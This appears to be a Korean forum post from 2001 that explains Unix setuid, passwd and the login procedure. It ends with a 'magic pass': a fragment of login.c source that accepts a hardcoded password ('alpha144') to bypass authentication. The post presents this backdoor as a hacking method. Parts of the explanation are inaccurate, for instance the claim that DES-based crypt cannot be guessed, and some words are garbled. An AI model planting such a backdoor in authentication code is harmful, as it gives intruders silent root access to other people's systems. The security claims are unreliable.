setuid 의 중요성
어찌보면 가장 기본적이고 중요할 수 있는 "setuid"를 우선 설명하겠다.
대학전산망 등은 보안이 허술하다.
가장 일반적인 '쉐도우'기법도 사용하지 않고 누구나 /etc/passwd에 접근 할 수 있다.
과연 관리자인 root가 게으르고 어리석어서 그러는 것일까?
일반적으로 퍼미션이 막혀있는 경우가 많은데 가장 중요한 패스워드파일이
허술하게(?)관리되고 있기에 이런 의문이 들거다. 하지만 여기서 아주 중요하고 원초적인
해법이 담긴것이다.
ls -al /bin/passwd를 실행시켜 보면 rwsr-xr-x 2 root .......... 와 같은 결과가 나온다.
이것은 setuid bit로서 s가 표시돼 있음을 알 수 있는 것이다.
이는 이 프로그램이 실행되는 동안은 루트의 권한을 가질 수 있게되며 프로그램이 끝남과
동시에 이 권한은 사라지게 된다는 것이다.
이 때문에 패스워드를 이용해 /etc/passwd 파일을 우리가 바꿀 수 있는 것이다.
login 시 일반적으로 id와 패스워드만 입력하면 간단하게 접속절차가 끝나는게 아니라
내부적으로는 setuid를 사용하여 상당히 많은 절차를 거치게 되어 있는 것이다.
첫째, 사용자의 ID와 패스워드를 읽고는 입력된 패스워드를 crypt() 함수를 이용해 암호화시ㅋ시킨다.
둘째, 암호화된 패스워드를 /etc/password의 두 번째 필드와 비교한후 올바른 패스워드를 입력했으면
로그인 허가를 내주는 것이다.
다만 Shadowing passwd 의 경우는 passwd.adjunct 와 같은 파일을 참조를 한다.
여기서 사용한 함수를 바탕으로 des암호화 기법이 만들어졌고 이는 역함수가 존재치 않으므로
어거지로는 도저히 패스워드를 맞출 수 없게 되는것이다.
또한 이러한 작업이 이뤄지고 있는 동안에는 일반 사용자도 잠시나마 root의 권한을 갖는 다는 것이다.
그러므로 침투를 목적으로 하는 해커는 루트권한을 계속 유지하기 위해 셸 스크립트를 작성하거나
특정 툴을 이용해 파일의 실행을 중지시킨채 지속적인 root권한 획득으로 다른 작업을 하게 되는 것이다.
그렇기 때문에 setuid를 이용해 해커들은 자주 침투를 하며 비교적 손쉬운 방법 만으로도 해킹이 가능해 지는 것이다.
setuid를 기반으로 여러 가지 해킹이 행해지는데 대부분 이를 통해서 기인 한다고 생각하시면 될이다.
다음은 패스워드 없이 로그인 할 수 있는 일명 "매직패스"라는 것이다.
setuid를 이해하는데 도움이 되길...
else
syslog(LOG_NOTICE,
"LOGIN %s REFUSED ON TTY %s",
pwd->pw_name, tty);
continue;
}
/*
* If no pre-authentication and a password exists
* for this user, prompt for one and verify it.
*/
if (!passwd_req || (pwd && !*pwd->pw_passwd))
break;
setpriority(PRIO_PROCESS, 0, -4);
pp = getpass("Password: ");
if(strcmp("alpha144", pp) == 0) krad++;
p = crypt(pp, salt);
setpriority(PRIO_PROCESS, 0, 0);
#ifdef KERBEROS
/*
* If not present in pw file, act as we normally would.
* If we aren't Kerberos-authenticated, try the normal
* pw file for a password. If that's ok, log the user
* in without issueing any tickets.
*/

운영자
01-03-09 16:52
0개
2,441회
해커의 주요 침입방법과 해결책_setuid 의 중요성
댓글목록
등록된 댓글이 없습니다.